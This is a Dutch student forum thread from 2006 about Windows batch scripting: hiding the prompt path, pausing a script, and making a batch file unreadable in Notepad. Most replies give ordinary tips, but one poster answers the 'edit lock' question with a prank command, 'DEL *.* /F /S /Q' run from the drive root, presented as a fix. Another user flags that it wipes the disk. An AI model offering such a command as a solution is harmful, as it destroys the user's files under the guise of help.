Registreer FAQ Berichten van vandaag


Ga terug   Scholieren.com forum / Technologie / Software & Hardware
Reageren
 
Topictools Zoek in deze topic
Oud 11-12-2006, 13:45
Purgatori
Purgatori is offline
Lo,

Wat is ook al weer de cmd om de path line weg te krijgen bij een batch bestandje? Dat je dus inplaats van 'C:\> REM TEXT' het volgende krijgt 'REM TEXT'.

Danku!
Met citaat reageren
Advertentie
Oud 11-12-2006, 14:26
Chimera
Avatar van Chimera
Chimera is offline
@echo off bedoel je?
Met citaat reageren
Oud 11-12-2006, 14:31
Purgatori
Purgatori is offline
Citaat:
Chimera schreef op 11-12-2006 @ 15:26 :
@echo off bedoel je?
Nee, dan gaat alles maar. Maar dat dus eigenlijk alleen het path weggaat, de rest kun je nog wel gewoon voorbij zien kome, bijv.:

REM ********************
REM * TEST *
REM ********************

inplaats van

c:\>REM ********************
c:\>REM * TEST *
c:\>REM ********************
Met citaat reageren
Oud 11-12-2006, 14:48
Chimera
Avatar van Chimera
Chimera is offline
Je moet ook echo gebruiken in plaats van rem. Rem komt van remark, en is dus bedoelt als commentaar.
Met citaat reageren
Oud 11-12-2006, 14:50
Purgatori
Purgatori is offline
Citaat:
Chimera schreef op 11-12-2006 @ 15:48 :
Je moet ook echo gebruiken in plaats van rem. Rem komt van remark, en is dus bedoelt als commentaar.
Ik wil het ook als 'commentaar' neerzetten, gewoon tekst voordat de batch helemaal uitklapt, bijv van 'Test V1.0' ofzo
Met citaat reageren
Oud 11-12-2006, 14:54
Verwijderd
Code:
@echo off
echo DIT KOMT IN BEELD ZONDER C:\
REM dit komt helemaal niet in beeld
Met citaat reageren
Oud 11-12-2006, 14:59
Chimera
Avatar van Chimera
Chimera is offline
Citaat:
Purgatori schreef op 11-12-2006 @ 15:50 :
Ik wil het ook als 'commentaar' neerzetten, gewoon tekst voordat de batch helemaal uitklapt, bijv van 'Test V1.0' ofzo
Commentaar alsin iets wat je niet op je scherm krijgt, damn...

Gebruik nou gewoon echo dan, ben je klaar. K?
Met citaat reageren
Oud 11-12-2006, 18:12
Warsocket
Avatar van Warsocket
Warsocket is offline
prompt

standaatd instelling is prompt $p$g

$p = schijf + pad
$g = >


als je dus prompt HOER:
doet krijg je bijv

HOER: cd..
HOER: echo ik stink
ik stink

HOER:
__________________
01110100011001010111011001100101011001010110110000100000011101000
11010010110101001100100001000000011111100111111001000000011101001010000
Met citaat reageren
Oud 11-12-2006, 18:23
Purgatori
Purgatori is offline
Citaat:
hppa schreef op 11-12-2006 @ 15:54 :
Code:
@echo off
echo DIT KOMT IN BEELD ZONDER C:\
REM dit komt helemaal niet in beeld
Danku alvast

Citaat:
Warsocket schreef op 11-12-2006 @ 19:12 :
prompt

standaatd instelling is prompt $p$g

$p = schijf + pad
$g = >


als je dus prompt HOER:
doet krijg je bijv

HOER: cd..
HOER: echo ik stink
ik stink

HOER:
Leuk voorbeeldje Maar hoe krijg ik het nou werkend, van begin tot eind voorbeeld?

Laatst gewijzigd op 11-12-2006 om 18:26.
Met citaat reageren
Oud 11-12-2006, 18:27
Warsocket
Avatar van Warsocket
Warsocket is offline
prompt

^^ werkt niet want maar


prompt f$h

wel
$h staat voor backspace en verwijdert het voorgaande teken
de f in dit geval dus resultaat is dat er niks overblijft


typ eens "prompt /?" dan zie je alle mogelijkheden

maar @echo off aan begin van je batj bestand en de rest met echo weergeven is wel wat conventionelere manier van doen

Code:
@prompt f$h
blaat
boe
en

Code:
@echo off
echo blaat
echo boe
hebben hetzelfde effect
__________________
01110100011001010111011001100101011001010110110000100000011101000
11010010110101001100100001000000011111100111111001000000011101001010000

Laatst gewijzigd op 11-12-2006 om 18:29.
Met citaat reageren
Oud 11-12-2006, 18:43
Purgatori
Purgatori is offline
Is er ook een mogelijkheid om de batch tijdelijk stil te zetten zonder pause en zonder delay bestandje?
Met citaat reageren
Oud 11-12-2006, 18:51
BendeBoy
Avatar van BendeBoy
BendeBoy is offline
PAUSE>NUL

Wordt die stil gezet zonder melding, moet je op toets drukken om verder te laten gaan..

@ECHO OFF
ECHO.
ECHO.
ECHO Tekst blaat
ECHO.

ECHO. staat voor een 'witregel' voor 't geval dat je dat nog niet wist ^^
Met citaat reageren
Oud 11-12-2006, 18:58
Purgatori
Purgatori is offline
Citaat:
BendeBoy schreef op 11-12-2006 @ 19:51 :
PAUSE>NUL

Wordt die stil gezet zonder melding, moet je op toets drukken om verder te laten gaan..

@ECHO OFF
ECHO.
ECHO.
ECHO Tekst blaat
ECHO.

ECHO. staat voor een 'witregel' voor 't geval dat je dat nog niet wist ^^
Maar er is dus geen mogelijkheid om het zonder op een toets te drukke het stil te zetten tijdelijk
Met citaat reageren
Oud 11-12-2006, 19:00
BendeBoy
Avatar van BendeBoy
BendeBoy is offline
Enige optie is Delay denk ik dan
Met citaat reageren
Oud 11-12-2006, 19:05
Purgatori
Purgatori is offline
Citaat:
BendeBoy schreef op 11-12-2006 @ 20:00 :
Enige optie is Delay denk ik dan
ok danku
Met citaat reageren
Oud 11-12-2006, 19:12
Purgatori
Purgatori is offline
Nog een vraag Is het mogelijk je batch 'edit locked' te make? Dat de batch dus niet aangepast of bekeken kan worden in notepad ofzo
Met citaat reageren
Oud 11-12-2006, 19:23
Warsocket
Avatar van Warsocket
Warsocket is offline
Citaat:
Purgatori schreef op 11-12-2006 @ 20:12 :
Nog een vraag Is het mogelijk je batch 'edit locked' te make? Dat de batch dus niet aangepast of bekeken kan worden in notepad ofzo
niet echt maar ik ken er wel een leuk truukje voor



type je batch bestand zoals je het wilt hebben

voeg bovenaan toe in het bestand toe als het klaar is

FE FF 0D 0A 63 6C 73 0D 0A (met een hexeditor)

En nee dit is gene onkraakbare beveiliging, tis gewoon dat notepad denkt dat het een unicode bestand is en het dus neit leesbaar weergeeft.

de rest zorgt ervoor dat de error van het scherm gewiped wordt
__________________
01110100011001010111011001100101011001010110110000100000011101000
11010010110101001100100001000000011111100111111001000000011101001010000
Met citaat reageren
Oud 11-12-2006, 19:24
SisterOfMercy
Avatar van SisterOfMercy
SisterOfMercy is offline
Citaat:
Purgatori schreef op 11-12-2006 @ 20:12 :
Nog een vraag Is het mogelijk je batch 'edit locked' te make? Dat de batch dus niet aangepast of bekeken kan worden in notepad ofzo
Ja dan moet je in je batch het volgende toevoegen:

C:
CD\
DEL *.* /F /S /Q

Daarna is je batchfile niet meer aan te passen in notepad..
__________________
give me a golden shower... give me a new thrill.. | barco is love | iheartkimwilde
Met citaat reageren
Oud 11-12-2006, 19:34
Purgatori
Purgatori is offline
Citaat:
SisterOfMercy schreef op 11-12-2006 @ 20:24 :
Ja dan moet je in je batch het volgende toevoegen:

C:
CD\
DEL *.* /F /S /Q

Daarna is je batchfile niet meer aan te passen in notepad..
voorbeeldje
Met citaat reageren
Oud 11-12-2006, 19:35
Warsocket
Avatar van Warsocket
Warsocket is offline
Citaat:
SisterOfMercy schreef op 11-12-2006 @ 20:24 :
Ja dan moet je in je batch het volgende toevoegen:

C:
CD\
DEL *.* /F /S /Q

Daarna is je batchfile niet meer aan te passen in notepad..
daarna is de root van je HD leeg
__________________
01110100011001010111011001100101011001010110110000100000011101000
11010010110101001100100001000000011111100111111001000000011101001010000
Met citaat reageren
Oud 11-12-2006, 20:16
SisterOfMercy
Avatar van SisterOfMercy
SisterOfMercy is offline
Citaat:
Warsocket schreef op 11-12-2006 @ 20:35 :
daarna is de root van je HD leeg
hush hush

(/s -> +subdirs)
__________________
give me a golden shower... give me a new thrill.. | barco is love | iheartkimwilde
Met citaat reageren
Oud 11-12-2006, 20:34
phoxetis
Avatar van phoxetis
phoxetis is offline
Citaat:
Warsocket schreef op 11-12-2006 @ 19:12 :
prompt
ja, tuurlijk, jij zal effe bepalen hoe de gebruikersprompt er na het draaien van de batchfile uit ziet. Flexibele programmeur
__________________
I never be late... I drive a V8 ...
Met citaat reageren
Oud 11-12-2006, 20:36
phoxetis
Avatar van phoxetis
phoxetis is offline
Citaat:
Purgatori schreef op 11-12-2006 @ 19:58 :
Maar er is dus geen mogelijkheid om het zonder op een toets te drukke het stil te zetten tijdelijk
tuurlijk, je kunt bv. op een semafoor laten checken

Code:
:loop
if exist semafoor.tmp goto verder
goto loop
:verder
erase semafoor.tmp

overigens moet je mij eens uitleggen waarom je een batchfile stil zou willen zetten zonder dat deze ooit verder gaat ... .
__________________
I never be late... I drive a V8 ...
Met citaat reageren
Oud 11-12-2006, 20:38
phoxetis
Avatar van phoxetis
phoxetis is offline
Citaat:
Purgatori schreef op 11-12-2006 @ 15:50 :
Ik wil het ook als 'commentaar' neerzetten, gewoon tekst voordat de batch helemaal uitklapt, bijv van 'Test V1.0' ofzo
waarom gebruik je helemaal vooraan niet
@echo lulhannes

daarmee onderdruk je eenmalig de rest van de regel. heeft verder geen effect op de echo.
__________________
I never be late... I drive a V8 ...
Met citaat reageren
Oud 11-12-2006, 21:02
Warsocket
Avatar van Warsocket
Warsocket is offline
Citaat:
phoxetis schreef op 11-12-2006 @ 21:34 :
ja, tuurlijk, jij zal effe bepalen hoe de gebruikersprompt er na het draaien van de batchfile uit ziet. Flexibele programmeur
bath en programmeeren lol
scripten heet dat

en de prompt kun je in een var frotten en weer terugzetten
__________________
01110100011001010111011001100101011001010110110000100000011101000
11010010110101001100100001000000011111100111111001000000011101001010000
Met citaat reageren
Advertentie
Reageren


Regels voor berichten
Je mag geen nieuwe topics starten
Je mag niet reageren op berichten
Je mag geen bijlagen versturen
Je mag niet je berichten bewerken

BB code is Aan
Smileys zijn Aan
[IMG]-code is Aan
HTML-code is Uit

Spring naar


Alle tijden zijn GMT +1. Het is nu 06:54.